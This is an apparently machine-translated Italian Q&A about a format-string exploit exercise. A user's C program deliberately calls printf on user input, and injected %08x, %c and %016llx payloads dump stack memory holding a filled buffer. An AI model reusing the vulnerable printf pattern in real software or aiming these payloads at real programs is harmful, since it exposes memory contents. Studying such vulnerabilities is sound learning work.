Dati incompleti nel dump della stringa di formato

1

Ultimamente mi sono esercitato in attacchi di stringa formato e ho pensato di sapere come funziona, ma dopo ore di ricerca non sono riuscito a ottenere i risultati attesi.

Ho creato un programma di esempio con un buffer pieno e un buffer sfruttabile formato stringa:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[50] = { 0 };

    memset(&buf[0], 'A', 49);
    printf("Data: '%s'\n", &buf[0]);
    printf(argv[1]);
    return 0;
}

gcc a.c -fno-stack-protector

Per qualche ragione, quando lo eseguo con l'exploit format-string, mi capita di recuperare solo il 25% diA invece del totale di 49 riempiti grazie alla chiamata di memset .

$ ./a.out "'python -c 'print "%08x " * 30''"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
00000002 17d37780 7fffffc7 00000000 0000003a ca18d548 00000000 41414141 41414141 41414141 41414141 41414141 41414141 ca180041 0d423100 00400680 17991830 00000000 ca18d548 17f60ca0 004005d6 00000000 c642cb54 004004e0 ca18d540 00000000 00000000 63a2cb54 e492cb54 00000000

Inoltre, ho cercato di recuperare il A individualmente andando per carattere, ma sembra fallire dopo un certo importo:

$ ./a.out "'python -c 'print "%08x " * 7 + "%c" * 25''"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
00000002 225e2780 7fffffc7 00000000 0000003a 5264fb08 00000000 AAAAAAA�������

Perché il primo comando stampa solo circa la metà del% di A s previsto? Perché il secondo comando non riesce a stampare A s dopo una certa quantità?

Grazie.

    
posta Ra'Jiska 07.07.2018 - 21:33
fonte

1 risposta

1

Lo stai facendo correttamente, non stai usando il formato stringa corretto. % Co_de iniettato sta leggendo memoria 8 byte (64 bit) alla volta, ma si stampano solo dump esadecimali 4 byte (32 bit).
Prova invece a utilizzare una versione "lunga" del formato esadecimale: printf :

$ ./a.out "'python -c 'print "%016llx\n" * 30''"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0000000000000000
00000000ffffc8e8
000000018013ff20
4141414141414141
4141414141414141
4141414141414141
4141414141414141
4141414141414141
4141414141414141
00000000ffff0041
0000000000000000
0000000000000000
...
    
risposta data 09.07.2018 - 18:18
fonte

Leggi altre domande sui tag